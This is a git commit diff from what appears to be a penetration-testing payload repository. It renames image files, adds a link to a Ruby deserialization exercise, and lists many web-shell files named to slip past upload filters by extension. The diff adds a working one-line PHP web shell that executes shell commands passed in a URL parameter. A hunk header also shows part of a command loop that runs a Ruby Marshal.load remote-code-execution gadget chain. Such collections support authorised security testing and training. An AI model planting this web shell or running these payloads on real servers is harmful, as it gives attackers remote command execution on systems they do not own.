Files JPEG -> JPG + Tag v2

2024-12-18 18:36:10 +00:00 · 2018-11-17 14:40:12 +01:00 · 2018-11-17 14:40:12 +01:00 · 3522d9a674
commit 3522d9a674
parent af9abc6592
15 changed files with 3 additions and 1 deletions
--- a/deserialization/Ruby.md
+++ b/deserialization/Ruby.md
@ -8,4 +8,5 @@ for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1

 ## Thanks

- [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/)
+- [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/)
+- [Online access to Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab](https://pentesterlab.com/exercises/ruby_ugadget/online)
--- a/2/centos_id.jpeg
+++ b/2/centos_id.jpeg
--- a/2/ubuntu_id.jpeg
+++ b/2/ubuntu_id.jpeg
--- a/2/ubuntu_shell.jpeg
+++ b/2/ubuntu_shell.jpeg
--- a/Extension/shell.jpeg.php
+++ b/Extension/shell.jpeg.php
--- a/Extension/shell.jpg.php
+++ b/Extension/shell.jpg.php
--- a/Extension/shell.php3
+++ b/Extension/shell.php3
--- a/Extension/shell.php4
+++ b/Extension/shell.php4
--- a/Extension/shell.php5
+++ b/Extension/shell.php5
--- a/Extension/shell.php7
+++ b/Extension/shell.php7
--- a/Extension/shell.phpt
+++ b/Extension/shell.phpt
--- a/Extension/Shell.phtml
+++ b/Extension/Shell.phtml
--- a/Extension/Shell.png.php
+++ b/Extension/Shell.png.php
--- a/Extension/shell.png.php
+++ b/Extension/shell.png.php
--- a/Extension/shell.shtml
+++ b/Extension/shell.shtml
@ -0,0 +1 @@
+<?php echo "Shell";system($_GET['cmd']); ?>